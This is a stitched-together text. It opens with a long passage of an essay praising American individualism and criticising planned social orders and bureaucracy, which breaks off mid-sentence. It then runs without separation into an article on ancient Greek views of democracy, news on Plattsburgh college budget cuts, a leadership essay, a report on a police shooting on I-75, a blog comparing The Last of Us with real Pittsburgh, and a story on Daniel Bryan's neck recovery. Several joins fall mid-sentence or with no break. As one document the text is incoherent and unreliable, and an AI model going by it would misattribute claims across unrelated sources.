No one who dreams of the ideal social order, the economy planned to eliminate waste and injustice, considers how much energy, how much human life, is wasted in administering and in obeying the best of regulations. No one considers how rigid such regulations become, nor that they must become rigid and resist change because their underlying purpose is to preserve men from the risks of chance and change in flowing time.
Americans have had in our country no experience of the discipline of a social order. We speak of a better social order when in fact we do not know what any social order is. We say that something is wrong with this system, when in fact we have no system. We use phrases learned from Europe, with no conception of the meaning of those phrases in actual living experience.
In America we do not have even universal military training, that basis of a social order which teaches every male citizen his subservience to The State and subtracts some years from every young man’s life, and has thereby weakened the military power of every nation that has adopted it.
An apartment lease in America is legal when it is signed; it is not necessary to take it to the police to be stamped, nor to file triplicate copies of it with the collector of internal revenue, so that for taxation purposes our incomes may be set down as ten times what we pay for rent. In economic theory, no doubt it is not proper to pay for rent more than 10 per cent of income, and perhaps it is economic justice that anyone so extravagant as to pay more should be fined by taxation. It was never possible to quarrel with the motives behind these bureaucracies of Europe; they were invariably excellent motives.
An American could look at the whole world around him and take what he wanted from it, if he were able. Only criminal law and his own character, abilities and luck restrained him.
That is what Europeans meant when, after a few days in this country, they exclaimed, “You are so free here!” And it was the most infinite relief to an American returning after long living abroad, to be able to move from hotel to hotel, from city to city, to be able to rush into a store and buy a spool of thread, to decide at half past three to take a four o’clock train, to buy an automobile if one had the money or the credit and to drive it wherever one liked, all without making any reports whatever to the government.
But anyone whose freedom has been, as mine has always been, freedom to earn a living if possible, knows that this independence is another name for responsibility.
The American pioneers phrased this clearly and bluntly. They said, “Root, hog, or die.”
There can be no third alternative for the shoat let out of the pen, to go where he pleases and do what he likes. Individual liberty is individual responsibility. Whoever makes decisions is responsible for results. When common men were slaves and serfs, they obeyed and they were fed, but they died by thousands in plagues and famines. Free men paid for their freedom by leaving that false and illusory security.
The question is whether personal freedom is worth the terrible effort, the never-lifted burden, and the risks, the unavoidable risks, of self-reliance.
VII
For each of us, the answer to that question is a personal one. But the final answer cannot be personal, for individual freedom of choice and of action cannot long exist except among multitudes of individuals who choose it and who are willing to pay for it.
Multitudes of human beings will not do this unless their freedom is worth more than it costs, not only in value to their own souls but also in terms of the general welfare and the future of their country, which means the welfare and the future of their children.
The test of the worth of personal freedom, then, can only be its practical results in a country whose institutions and ways of life and of thought have grown from individualism. The only such country is the United States of America.
Here, on a new continent, peoples with no common tradition founded this republic on the rights of the individual. This country was the only country in the western world whose territory was largely settled and whose culture is dominated by those northwestern Europeans from whom the idea of individual liberty came into the world’s history as a political principle.
When one thinks of it, that’s an odd fact. Why did this territory become American? How did it happen that those British colonists released from England spread across half this continent?
Spaniards were in Missouri before Englishmen were in Virginia or Massachusetts. French settlements were old in Illinois, French mines in Missouri were furnishing the western world with bullets, French trading posts were in Arkansas, half a century before farmers fired on British soldiers at Lexington.
Why did Americans, spreading westward, not find a populated country, a vigorous colony to protest in France against the sale of Louisiana?
This is an important fact: Americans were the only settlers who built their houses far apart, each on his own land. America is the only country I have seen where farmers do not live today in close, safe village-groups. It is the only country I know where each person does not feel an essential, permanent solidarity with a certain class, and with a certain group within that class. The first Americans came from such groups in Europe, but they came because they were individuals rebelling against groups. Each in his own way built his own house at a distance from others in the American wilderness. This is individualism.
The natural diversity of human beings, the natural tendency of man to go into the future like an explorer finding his own way, was released in those English colonies on the Atlantic coast. Men from the British islands rushed so eagerly toward that freedom that Parliament and the King refused to open any more land for settlement; the statistics of the time proved clearly that a western expansion of the American colonies would depopulate England.
Nevertheless, before tea went overboard in Boston harbor the lawless settlers had penetrated to the crests and valleys of the Appalachians and were scouting into forbidden lands beyond.
There was no plan that these young United States should ever cover half this continent. The thought of New York and Washington lagged far behind that surge. It was the released energies of individuals that poured westward at a speed never imagined, sweeping away and overwhelming settlements of more cohesive peoples and reaching the Pacific in the time that Jefferson thought it would take to settle Ohio.
I have no illusions about the pioneers. My own people for eight generations were American pioneers, and when as a child I remembered too proudly an ancestry older than Plymouth, my mother would remind me of a great-great-uncle, jailed for stealing a cow.
The pioneers were by no means the best of Europe. In general they were trouble-makers of the lower classes, and Europe was glad to be rid of them. They brought no great amount of intelligence or culture. Their principal desire was to do as they pleased, and they were no idealists. When they could not pay their debts, they skipped out between two days. When their manners, their personal habits or their loudly expressed and usually ignorant opinions offended the gently bred, they remarked, “It’s a free country, ain’t it?” A frequent phrase of theirs was “free and independent.” They also said, “I’ll try anything once,” and “Sure, I’ll take a chance!”
They were riotous speculators; they gambled in land, in furs, in lumber and canals and settlements. They were town-lot salesmen for towns that did not yet exist and, more often than not, never did materialize. They were ignorant peasants, prospectors, self-educated teachers and lawyers, ranting politicians, printers, lumberjacks, horse thieves and cattle rustlers.
Each was out to get what he could for himself, and devil take the hindmost. At every touch of adversity they fell apart, each on his own; there was human pity and kindness, but not a trace of community spirit. The pioneer had horse sense, and card sense, and money sense, but not a particle of social sense. The pioneers were individualists. And they did stand the gaff.
This was the human stuff of America. It was not the stuff one would have chosen to make a nation or an admirable national character. And Americans today are the most reckless and lawless of peoples. We are also the most imaginative, the most temperamental, the most infinitely varied people. We are the kindest people on earth; kind every day to one another and sympathetically responsive to every rumor of distress. It is only in America that a passing car will stop to lend a stranded stranger a tire-tool. Only Americans ever made millions of small personal sacrifices in order to pour wealth over the world, relieving suffering in such distant places as Armenia and Japan.
Everywhere, in shops, streets, factories, elevators, on highways and on farms, Americans are the most friendly and courteous people. There is more laughter and more song in America than anywhere else. Such are a few of the human values that grew from individualism while individualism was creating this nation.
VIII
Look at this phenomenon: The United States of America.
For two hundred and fifty years, Europe colonizes this continent. Then Spain holds the Gulf and the Floridas, Mexico, Texas, New Mexico, Arizona and California. Russia is in the north. France controls the Great Lakes and the waterways of the Mississippi valley, the fur trade and the Missouri mines. Along the Atlantic coast, between the wilderness and sea, are scattered little English colonies.
Not all the colonies rebel against England. Canada remains loyal to the King, and among the others only Virginia and Massachusetts have any real heart for the fight. The war drags along, a little frontier war fought with valor by a few rebels and neglected by England, whose vital interests are elsewhere. An excursion of French gunboats helps decide the issue. Peace is signed, and thirteen colonies without a common interest do not know whether to unite or to be separate nations.
At this point, what would seem likely to be the future of this continent? Does it seem probable that these colonies, divided by religion, social structure and economic interests, quarreling with each other about overlapping claims to territory which threaten to break into wars, does it seem probable that they will prevail against the Great Powers already in possession of America’s soil? Does it not appear that, if they are merely to survive, they must be united under a most powerful government?
Precisely the opposite occurred. The men who met in Philadelphia to form a government believed that all men are born free. They founded this government on the principle: All power to the individual.
How can such a principle be embodied in government? There is no escape from the fact that any government must be a man, or a few men, in power over the multitude of men. How is it possible to transfer the power of the ruler to each man in this multitude? It is not possible.
This was not a problem merely of allowing common men some voice in the councils of their rulers, some power to stop their rulers in the act of using power to the injury or the robbery of common men. The intent was actually to give the governing power to each common man equally. So that in effect, the political result would be the same as in the Communist village, where each man has equal power and struggles for his own self-interest until a satisfactory balance is arrived at. The government power of this new republic was actually to reside in the multitudes. Common men were to govern themselves.
But how is it possible to embody this intent in the mechanisms of government since any government of multitudes of men must be one man, or a few men, in power over the many? It is not possible.
The problem was solved by destroying power itself, so far as this could possibly be done. Power was diminished to an irreducible minimum.
Governing power was broken into three fragments so that never could any man possess whole power. The function of government was cut into three parts, each checked in action by the other two. Any ruler is a human being and a human being thinking, deciding, acting and judging are inseparable. In this government, no man was permitted to function as a whole human being. Congressmen were to think and decide; the executive was to act; the courts were to judge.
And over these three was set a written statement of political principles, to be the strongest check on them all, an impersonal restraint upon the fallible human beings who must be allowed to use these fragments of authority over the multitudes of individuals.
Not without reason, Europeans cried out that this government was anarchy let loose in the world. Not without reason, older governments refused to recognize it. Nearer to anarchy than this, no government can come and be a government. Never before had the multitudes of men been set free to do as they pleased.
Already a bribed Continental Congress had sold to speculators millions of acres of public lands, claimed by both Connecticut and Virginia. And the first Congress of the United States, with unscrupulous chicanery, robbed the Revolutionary common soldiers of their meager pay and put it in the pockets of Congressmen and New York bankers.
What future could be predicted for such a lack of government, in such a situation?
In seventy years, within a man’s lifetime, France and Russia had vanished from this continent. Spain had yielded the Floridas. Texas, New Mexico, Arizona, California. England had been pushed back on the north. The whole vast extent of this country had been covered by one nation, a tumultuous multitude of men under the weakest government in the world. How did this happen?
The characteristic of American history is that everything appears to happen by accident. Nothing seems planned or intended. Other nations adopt policies and pursue them; their history is formed by the clash of these policies with other planned policies elsewhere. But America moves by a kind of indirection. Always in these United States the unintended, the unplanned, has been done.
Consider the gain of that vast block of territory between the Ohio River and the Great Lakes, the Mississippi and the seacoast colonies. One man did that: George Rogers Clark. He borrowed the money and got most of his men from the Spanish governor and the French people of Missouri and Illinois; he made one of the most terrible winter marches in history; and captured in Vincennes the commander of British forces in the West. No one had planned to do it; no one but George Rogers Clark and his little band knew it was being done.
By that one independent stroke, a free and enterprising American destroyed a plan which had been carefully matured for two years in London and in Canada. He took the United States to the Mississippi. And neither the Virginia Assembly no the Congress of the United States ever paid the drafts he had given in St. Louis for the military supplies he used. Those drafts were not paid; George Rogers Clark was ruined, the Spanish governor was ruined, the fur-traders of St. Louis took a frightful loss and one great fur-trading house collapsed, because they were not paid. But the United States had the Northwest Territory.
Consider the settlement of Kentucky. Henderson’s Land Company did that. The government wished to curb and restrain western settlement: it went too fast, it was too lawless, it threatened rebellion against the United States and trouble with Spain. Any intelligent man in power would have stopped it. But there was no man in power, because there was no power that any man could use. And Judge Henderson saw a chance to make a fortune.
He sold Kentucky land to the settlers, on credit, and he would have made a fortune if they had paid for it. They didn’t; they drove off his installment collectors with guns. The Henderson Land Company failed in the depression of the 1790s. But Kentucky was settled.
Consider the Louisiana Purchase which took the United States from the Mississippi to the Rocky Mountains. No one had any intention of buying that land. Everyone saw the Mississippi as the permanent frontier of the United States. The great river was a natural geographical boundary.
As had been foreseen, however, Kentucky was making trouble. Those western settlers threatened to join Spain, which held the Gulf and kept them from a seaport. Jefferson saw that the whole West - that is to say, the eastern half of the Mississippi valley - would be lost unless the United States could get a port on the Gulf. All that he wanted was a port, just one little port.
Two American commissioners in Paris, with no authority whatever to do so, bought the whole of Louisiana from Napoleon. It belonged to Spain, but Napoleon sold it, his armies could settle the matter with Spain. And two Americans bought it, paid fifteen million dollars for it. Jefferson was aghast when he heard the news. He came within an inch of repudiating the purchase.
Consider a question as vital as slavery. Everywhere else in the western world, slavery was abolished by deliberate, well-considered legislation or decree. Every time the question was submitted to Americans an overwhelming majority voted against abolishing slavery.
Then Lincoln was elected on a platform promising free land and a railroad to the Pacific. An old quarrel about division of power between State and Federal governments blazed at last into a war which had been narrowly averted for a half a century, and, as a war measure, slavery was abolished.
No one intended to drive the Indians from the Middle West. Again and again, in good faith, United States treaties established Indian tribes forever as permanent buffer states. That was a rational policy, based upon all future probabilities that could be seen at the time. Again and again, Federal troops evicted white settlers from lands secured by treaty to the Indians. But there was no control over individualism, and the Indians vanished.
California was torn from Mexico as a surreptitious personal adventure of General Fremont’s, connived in by Senator Benton of Missouri who sent him word to move quickly before he was stopped. It was done at a time when no one dreamed there was gold in those foothills and thoughtful men knew that California’s soil was worthless because the United States already had far more land than Americans could use, and for centuries to come the population on the Pacific Coast would not be large enough to be a market for farm products.
Aroused by selfish, private propaganda and inspired by democratic ideals, Americans rushed to wear to free Cuba from Spain’s imperial tyranny, and found that they were fighting the Filipinos to keep them from freeing themselves. Thus the United States became an empire and a world power.
Such instances are multiplied by hundreds, by thousands. Everywhere you look at American history you see them. There is no plan, no intention, no fixed policy anywhere; this is anarchy, this is chaos. It is individualism. In less than a century, it created our America.
IX
For years now, I have been looking at America. I had spent more than thirty years in my own country, before; I had traveled over it everywhere and had lived in many of its States, but I had never seen it. Americans should look at America. Look at this vast, infinitely various, completely unstandardized, complex, subtle, passionate, strong, weak, beautiful, inorganic and intensely vital land.
How could we be so bemused by books and by the desire of our own minds to make a pattern, as to apply to these United States the ideology of Europe?
With some rough approximation to fact, Europeans can think in terms of Labor, Capital, System, and The State. One can speak of Labor in Paris, where the working class is rigidly distinct from other classes; in England, where their very speech, their clothing and their schooling set them apart; in Rome, where workingmen are proud to know that even a workingman’s ordained life serves Italy; and in Venice, where only the son of a gondolier has ever been permitted to be a gondolier.
Capitalist is a word of some meaning in those countries where, within a social framework only slightly shaken, men with money have climbed to those upper levels held yesterday by the aristocrat. There is a profit system where business has seeped into and replaced the feudal system. The State is a shorthand symbol for many facts where bureaucracies control a regimented social-economic order.
In America a man works, but he is not Labor. A hundred million men, working, are not Labor. They are a hundred million individuals with a hundred million backgrounds, characters, tastes, ambitions and degrees of ability. Each of them, amid the uncertainties, dangers, risks, opportunities and catastrophes of a free society, has been creating his own life and his own status as best he could.
An American raised wheat, but he was not The Wheatgrower. In every State in this union, men of every race and circumstance and mind, by every possible variety of method and with many varying needs and many ends in views, raise wheat. All of them together are not The Wheatgrower. Men raise cotton, men grow oranges, men plant soy beans; they are not Agriculture.
Agriculture, used as a word applied to human beings, means a class of men attached to the soil. There is no such class in America. Excepting only the old landed aristocracy of the South, which was already vanishing when Lincoln was born, there has never been such a class in this country. From the first, Americans were gamblers, speculators. They gambled in land when the gambling was good in land; they were never genuinely attached to the soil, to one bit of earth, these fields, this woodland, this stream, this sky, these changing seasons that became their own because they loved them and their life was in them. There is the European Peasant; there has never been an American Peasant.
An American farmed if he hoped to make money farming. He sold his land when he could sell it at a profit. He mortgaged it, if he thought he could buy more land on a rising market, or get into a good gamble in wheat, oil, mines, livestock or Wall Street. On a falling market, he got out from under if he could, and ran a filling station, sold automobiles, started a grocery store or a restaurant. His son might become anything from a Dillinger to a Henry Ford.
The Capitalist cannot be found; he does not exist. Men of many different minds and for many purposes, or by accident or luck or the skill of a pirate, created hug business and financial organizations and fought to make them bigger and to draw bigger profits from them. But here everything was fluid, changing and uncertain; nothing was static and secure. Here was no solidly established class, placed in a social order and holding lower classes steady like cows to be milked. To capture control over the American multitudes was not possible because no control existed to be captured.
As long as our form of government stands, there can be no such control. Every business and financial undertaking must serve the unpredictable multitudes of common men and swiftly change to serve their changing demands and desires, tomorrow and tomorrow and tomorrow, or rivals will rise from those multitudes and destroy it.
Ownership must constantly be fought for and defended, and in this very struggle ownership of the great corporations has melted away; it has become so scattered and diffused through the multitudes that no one can say where it begins or ends, and the ultimate destination of profits from industry, if there be one, cannot be discovered.
Economic interests intermingle, the debtor is also the creditor, the producer is the consumer, the insurance company raises wheat, the farmer is selling short on the Board of Trade. Everything meets itself coming and going; no one can understand it, and every picture made neat and orderly against this chaos is false.
A few thousand men in this struggle and confusion apparently possess enormous sums of money. But look for this money and it is not there; it is not solid actuality; it is not the tangible property, unmortgaged and secure, of a rentier class, no the Junker’s hold on vast stretches of earth and many villages. It is dynamic power pouring through business and industry, and like the power that drives a machine, if it is stopped it vanishes.
These vast fortunes exist only as dynamic power, and this power, too, must serve the multitudes. American wealth is innumerable streams of power, fed by small sources and great ones, flowing through the mechanisms that produce the vast quantities of goods consumed by the multitudes, and the men who are called the owners can hardly be said even to control the wealth that stands recorded as theirs, for its very existence depends upon satisfying chaotic wants and pleasing unpredictable tastes. Fortunes that were making good hairpins vanished when American women cut their hair.
Some thousands of men in America directed fragments of economic power as best they could, and these men drew out of the streams of this dynamic power as much tangible wealth as they and their families could consume. Many of them drew out huge sums, beyond any man’s power to consume, and used these sums to build libraries, hospitals, museums, or for unique and inestimable service to music, science, public health.
Many of them spent stupidly and wastefully as much as can possibly be spent in the most luxurious and decadent manners of living, and this spectacle is infuriating. Many a time when my bills and my debts have been piling up and my most frantic efforts have failed to dig a dollar or any hope out of this chaos, so that the nights were harder to live through than the desperate days, I have thought of those jeweled women carelessly dripping handfuls of gold pieces on the tables of Monte Carlo, of those quite charming necklaces worth a hundred thousand dollars and the fur coats for only $25,000. Did I say infuriating? The word is mild.
I was once at heart a revolutionist, and you can tell me nothing about poverty, nothing about suffering, the injustices, the hunger, the apparently needless cruelties that exist from coats to coast of this country. But you can tell me no longer that they are the result of a capitalist system, because there is no system here.
All these men who in various ways, for various purposes and with widely varying results to the welfare and happiness of others, struggle to direct American industry, are expensive. They are expensive in that they draw large amounts of actual money from the streams of productive power and pour these sums back into the streams again by spending them for their own individual purposes.
But if this chaos were replaced by a system, a social order so perfect that there would be no trace of selfishness in it, an order perfectly functioning for the sole purpose of serving the public good, these men must be replaced by a bureaucracy. And a bureaucracy is expensive, too.
The bureaucracy that is necessary to controlling in detail, and according to a plan devised by men possessing centralized economic power, all the processes of business, industry, finance, and agriculture in a modern state is stupendously expensive.
Such a bureaucracy is costly not only in ever-increasing payrolls but in human energy. For it must take great and ever-increasing numbers of men from productive activity and set them to dreary work amid coils of red tape and masses of papers recording what other men have done and may perhaps be permitted to do, and ordered to do.
Also bureaucracies are stupid and sluggish impediments to the whole range of human activities, as anyone knows who has struggled to move under their clogging weight in Europe. Bureaucracies slow down, impede and postpone the realization of the multitude’s desires because they are not compelled, as in this American chaos business and industry were compelled, to serve those desires or perish.
X
This American chaos of released human energies has been going on for little more than a century, less than half of this country’s past history. In that time it has created America and made America the richest country in the world. Where has this wealth come from?
Americans have been exploiting the natural resources of half a continent. And this exploitation is continuing now and should resume its accelerating rate of speed, for our unused natural wealth is enormous. Electric power, for instance, has hardly begun to be exploited. Chemistry has barely discovered a new universe of natural resources. But natural resources alone do not explain our relatively greater wealth, for while Americans have been exploiting America, Europeans have been exploiting Asia, Africa, South America, the East Indies, the West Indies, Australia and the South Seas.
No such riches poured
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mean majority rule, or majority tyranny. Instead it really means people have the capacity to rule themselves,” he says. “That’s the core idea of democracy, the capacity for self-governance, not power of one part of the population over another part of the population.”
Ancient Greeks believed in widespread self-governance, and would likely be disturbed by the ignorance, apathy, and lack of political service today. Ober believes that they would describe the US as a “pseudo-democracy or straight-up oligarchy.”
It is not enough that to have elections to select the officials that then govern the United States; ancient Greeks would still view these disparate levels of power—with one small group of people ruling over the masses—as a form of oligarchy. And Ober says they would be particularly unimpressed with the current president of the United States.
Ancient Greeks had a definite idea of the characteristics of a tyrant: “A Greek tyrant was a megalomaniac, extremely greedy for material possessions, a sexual aggressor, he sought to block out all of his enemies from any role in politics,” says Ober. “I think they would look at our current president and say, ‘How doesn’t this fit the view we have of what a tyrant is?’”
The notion that a democracy could remain a democracy while headed by a tyrant simply doesn’t hold up, according to Ober. “If you have a tyrant, and you accept it and say, ‘Oh, that’s too bad, we have a tyrant,’ then you don’t have a democracy.”
There are further problems that prevent the US political system from meeting ancient Greek democratic ideals. Rather than the relentless contemporary focus on elections, under a true self-governing democracy, ordinary citizens would take turns holding the majority of public offices.
Moreover, Ober says any strong democratic nation must first establish shared interests, such as a mutual desire for a basic level of national security or welfare.
And strong civic education—exploring the values of the nation, and the responsibilities that go with being a citizen—is necessary to a functioning democracy. “I think these skills can be learned. It’s not like magic,” says Ober.
“I think the Ancient Greeks would say the US is a failed democracy,” he says. “They’d say the inability of the wealthy and relatively non-wealthy to come to some kind of a common judgment about things like healthcare and public education and so on is an example of a failure.”The two colleges in Plattsburgh are in serious budget crunches. SUNY Plattsburgh is scrambling to save $1.4 million, and Clinton Community College officials say they might have to lay off two full time faculty members.
The two professors are in the history and communications departments. This month they were given notice that their positions might be eliminated at the end of the academic year – though the financial picture could change, and the decision isn’t final yet.
“They’re difficult decisions but we have to recognize where we’re seeing declining enrollments,” said Lisa Shovan, the interim officer in charge at CCC. She said enrollment is down across the board, not just in those two departments. This fall, the college saw the overall head count drop by roughly 12 percent over last year, or 221 students.
Students are the main source of revenue for Clinton. Shovan guesses if 40 more people enrolled by next year, the college might not have to cut any jobs. She’s also waiting to see how much state aid the college will receive. Even a hundred dollars per student would be a huge help, she said.
In the meantime, she said, this is just a rough patch. “There’s momentum in various ways that are positive.”
She points to the college’s Advanced Manufacturing Institute, a high tech training facility set to open in about a year; anew president, Ray Di Pasquale starts in January, Ray Di Pasquale; and the school has some new online courses. Shovan hopes all this will boost enrollment.
SUNY Plattsburgh is also struggling. The college is planning to cut its current budget by about two percent, or $1.4 million over the course of the next year.
Administrators are still figuring out exactly where to make the cuts. Spokesman Ken Knelly said there will be no layoffs. Instead, some open positions will be cut or left unfilled. New purchases will be limited.
SUNY Plattsburgh officials are also working on a number of strategies to increase their enrollment.President John Ettling sees hope in one of the college’s most popular programs: teacher education.
“We have a terrific teacher education program here. The fact that there are half as many students in our teacher education programs now as there were five or six years ago is an anomaly. And there’s already a teacher shortage in the North Country and across the state. So we will prepare teachers, once young men and women in high school now come to realize that it’s an honorable and a good profession to go into. We’ll rebound and that will be what leads us,” Ettling said.
He said $1.4 million may sound like a lot to cut, but the college has seen tough budget times before, and he’s hopeful.[January 04, 2014] All great leaders study leadership. They make it part of their routine to ensure that they understand and seek to improve their leadership skills and knowledge.
When the seasoned executive leader’s mind is adequately mature and has obtained sufficient awareness to understand, only then does the leader have the true capacity of senior leadership. Otherwise, in the less experienced and less mature leader, the study of leadership will only involve the mechanical memorization of the elementary components of leadership.
This capacity is what separates the senior executive leader from other, less mature leaders. The commonplace leader, who has yet benefited from the study of history or from extensive experience, is unable to obtain the full advantage of leadership studies.
Great leaders are then able to independently probe into greater detail, reflecting and reasoning on what they see and read. In short, their intellect and their hearts are occupied instead of merely their memory.
It is a measure of intellectual professionalism that they are able to acquire a taste for the truth of leadership rather than in the superficial. This will help to direct their reading and study into the proper channels in the future.
This is why it is imperative to have reliable intellectual resources to use, as in well-informed books and articles, professional blogs, and reliable classes that help to continually prepare the mind of that senior leader.
The senior leader must adapt their daily activities to provide the time for study and contemplation on the fundamentals of senior executive leadership. In time, the leader’s mind develops wisdom and is then able to use the virtues of senior leadership in their conduct.
Failure to consciously study senior leadership, to develop the mind in the aspects of those skills, is the mark of lesser maturity; a person who has yet to obtain the success of great leaders. These less mature leaders are those who use artificial traits to rely upon for advancement and position. These can be the most dangerous, toxic, and least affective leaders.
The best of the best, those who achieve the highest levels of leadership, focus on the routinization of leadership study and the development of their leader mind. This is what separates the greatest leaders from those who remain.Buy Photo Flanked by Hamilton County Sheriff Jim Neil (left), Hamilton County Prosecutor Joe Deters speaks to the media about an officer-involved shooting on I-75 after his office released body cam footage. (Photo: The Enquirer/Carrie Cochran)Buy Photo
Javier Aleman repeatedly begged Glendale police Officer Josh Hilling to kill him, video from Hilling’s body camera shows.
During the three-and-a-half-minute encounter last week on Interstate 75, Aleman – who pulled a hunting knife on Hilling – said “Kill me” more than 40 times.
“Please, I’m begging you,” Aleman can be heard saying at one point. “Do it.”
At a news conference Tuesday, Hamilton County Prosecutor Joe Deters said Hilling, a 31-year-old officer who has worked for the suburban police department for four years, “deserves a medal.” Deters played the video at the news conference.
“He showed remarkable restraint in the confrontation of an individual who was clearly armed,” Deters said. Hilling will not face charges.
Buy Photo Glendale police Chief Dave Warman speaks at Tuesday's press conference. (Photo: The Enquirer/Carrie Cochran)
He is expected to return to duty this week, Glendale police Chief Dave Warman said.
Aleman, 46, is recovering from the gunshot wound to his abdomen and remains hospitalized, officials said. He has been charged with attempted murder.
Aleman was a fugitive wanted by Baltimore County, Maryland, police in connection with a homicide this year that Deters said likely involved the same knife.
“There’s a high probability (it) was the murder weapon used against his roommate in Baltimore,” Deters said.
The March 29 incident began after Hilling stopped on the highway, near Sharon Road, to assist Aleman, who was walking along the southbound lanes carrying a backpack.
Aleman claimed he was traveling from Dayton, Ohio, although Deters said it’s not known if that was true.
Hilling intended to give Aleman a ride, officials said. But before allowing him inside his police car, the video shows, he tells Aleman, “I’m going to pat you down, for officer safety.”
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Hilling starts to say that again, when Aleman pulls out the knife and shouts: “Kill me! Kill me! Kill me now!”
Aleman, with the knife in his right hand, then charges toward Hilling, again saying, “Kill me!” Hilling fires one shot, wounding Aleman and knocking him to the pavement. Almost immediately, Aleman stands up and says, “I’m going to kill you.”
Body cam footage from Glendale police officer Joshua Hilling shows a man, who police say is Javier Pablo Aleman, come towards the officer with a knife. Hilling shot Aleman, who police say is a fugitive wanted in Maryland in connection with a homicide. (Photo: Provided)
During the next one and a half minutes, Hilling repeatedly screams at Aleman to “get down” and “stay down.”
But Aleman refuses to drop the knife and continues to walk toward the officer, saying, “Kill me.”
At one point, Hilling says: “Sir, please, just get down. Sir, please, drop the knife. Let us help you.”
The incident ended when a Sharonville police officer, who arrived to assist, subdued Aleman with a Taser.
Hamilton County Sheriff Jim Neil said Hilling and the other officers likely didn’t fire additional shots because they continually were able to move away from Aleman.
“Distance is an asset for a police officer,” Neil said at the news conference. His agency investigated the shooting. “What you (saw) here was an officer trying to de-escalate an offender who was bringing deadly force forward… It’s just excellent police work.”
CORRECTION: The incident happened on March 29. An earlier version of this story had an incorrect date.
Major Mike Horton (second from left), of the Hamilton County Sheriff's department, briefs three Ohio State Troopers after they arrived at the scene on southbound I-75, just south of Sharon Road. (Photo: File/Patrick Reddy)
Read or Share this story: http://cin.ci/1RWkZhVIf you haven't played through this game yet, you might get see some spoilers. I also need to play through this section again to uncover more stuff. I'll periodically update this as I go.
Let me preface this by saying that I'm not picking on Naughty Dog for moving things around or misrepresenting the fair city of Pittsburgh. I get that you have to make changes to the geography and buildings to service the gameplay. I just thought that it would be fun to point some stuff out that I noticed while playing through Chapter 5 of The Last of Us. The screenshots I take are poor quality, and I lifted some images off of Google.
Entering the city
Entering Pittsburgh in Last of Us
Blvd. of the Allies
First off, you enter the city via 376 West to the Boulevard of the Allies and are forced off of the highway near the Crosstown Blvd. This is actually not that far off from what it looks like in real life, and that is likely the highway you'd be on if coming from Boston. The Fort Duquesne Bridge in the distance is not visible, though it's location is somewhat accurate.
Second Street
Second Street in Pittsburgh
From here, you navigate through some fights and smaller streets, making your way into downtown. You'll find yourself underneath Boulevard of the Allies, on a street with steel supports holding up the road. This is Second Street, and again it looks like the real thing and is geographically accurate.
Nice View
You'll eventually find yourself under this overpass looking towards your ultimate goal, which is the bridge. Again, this shot is pretty close to the real thing, with the BNY Mellon Building (white) next to the US Steel Tower (black). Fun fact: I work on the 38th floor of US Steel Tower. The BNY Mellon Building is a bit bigger in real life, though US Steel Tower is still larger.
The Omni William Penn Hotel
Omni William Penn Hotel
The Grand Hotel in Last of Us
You'll wind up diving through some alleys and buildings until you find yourself on a flooded main street in downtown. This is where the game deviates heavily from the actual city. Your goal is to make it into the hotel on the right side of the street. It most closely resembles the Omni William Penn Hotel, though it's not really all that accurate in either the architecture or the interior of the hotel. As you can see, the real hotel is broken into three sections, while the game's version has two.
Grant Street, er 5th Ave, er Penn Ave...or whatever
From the lobby of US Steel Building
Penn Ave & 6th Street
The real hotel is on Grant Street, across the street from the BNY Mellon Building and the US Steel Tower (which you wind up never seeing again once you get into the city). As you can see, Grant has planters in the middle and there are big patio areas nearby. The street in the game more closely resembles Penn Ave both in size, how confined it is, and its proximity to the Fort Duquesne Bridge. Also, looking at the screenshot of the game, you'll see a sign that says Warren Centre. The real Warner Centre sign is a few blocks away on 5th Ave.
One Oxford Center
After escaping the hotel, you continue on your way to the bridge. Turning around, you can see One Oxford Center rising up a couple of blocks away. No matter which way you slice it, this building is nowhere near where it should be, which is down the street from BNY Mellon Tower on Grant Street. Also, the real One Oxford Center's three towers are all different heights.
Fifth Avenue Place (aka The Highmark Building)
Joel's body is facing the bridge in the shot to the left. Looking to your left, you can see the spire of Fifth Avenue Place (aka the Highmark Building). It's further away in the screenshott where it should be in the city, close to the Fort Duquesne Bridge and roughly to your left. However, the streets in that area have taller buildings all around which would box you in more in real life.
As you get to the Fort Duquesne bridge, the enemies start after you, so I couldn't get a good picture of the bridge itself. That's a real shame because the signs on it and it's architecture were really well done.
Spoiler time!
You get ambushed and are forced to run for your life, and you wind up on the Fort Pitt Bridge, which is near the Fort Duquesne Bridge. Unfortunately, the bottom deck of the bridge is out and you have to jump. The bridge in the game looks just like the real one. From what I can tell, it looks like you wind up dumped out north of the city up the Allegheny River. The Allegheny actually flows south into the Ohio River, so there's no way that you would end up where you did without someone coming and pulling you upstream.
Signage
The small Fort Duquesne Bridge sign looks similar to the different signs around Pittsburgh, though they don't have that bridge-like emblem on them. They're color-coded to each area of the city. Downtown signs are pink.
Also, I'm going to assume that Pittsburgh Arena would be Consol Energy Center (or maybe the former Mellon Arena), and the Bridge Theatre would be the Bynham Theatre. All of those are within 1.5 miles of each other in the real Pittsburgh, and where you are standing in the game you'd be about 2 blocks from the Bynham, maybe a half-mile from the Fort Duquesne Bridge, and less than a mile from Consol or Mellon.
Area Codes
412 is the area code for Pittsburgh.
512, however is Austin, TX.Daniel Bryan says being a WWE Superstar is what he does best. But the fights outside the ring have been much tougher in the last year.
Bryan appears on “SmackDown!” on Thursday night as the company moves its weekly SyFy show from Friday. He will be an entrant in the Royal Rumble on Jan. 25. Earlier this week, Bryan admitted that at one point last year he thought the neck surgery that put him on the shelf the month after WrestleMania XXX might end his career.
“There was a point several months ago where it almost seemed like I wouldn’t be able to come back,” Bryan said.
He uses the word “depression” to describe his feelings, then hesitates a bit -- his mom is a therapist and he knows that’s a clinical diagnosis. But his body wasn’t responding to different forms of rehabilitation in the months following the operation.
The nerve ailment that forced the surgery wasn’t healing properly to return strength to his right arm.
“This is what I’ve been doing, and this is what I’ve loved since I was 18 years old, and I don’t really know adult life without it,” Bryan said.
He was looking at undergoing another procedure, which Bryan described as a “Hail Mary surgery.”
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“They didn’t know if I needed it or not,” Bryan remembers, “but nothing else seems to be working, so let’s try it and see, which is not my most ideal situation.”
But Phoenix resident Bryan goes to the same naturopath -- a physician who focuses on holistic practices and proactive prevention -- as Arizona Cardinals quarterback Carson Palmer. Tthe naturopath mentioned Muscle Activation Techniques, the Denver company Palmer was going to treat an early-season shoulder injury.
Bryan said he “didn’t ask for permission” and paid his own way to Denver to try out the treatment. After a couple of sessions, he found the results to be “borderline miraculous.” In early December, Bryan told WWE he felt it was time for him to come back. WWE put him through a litany of tests before signing off on his return.
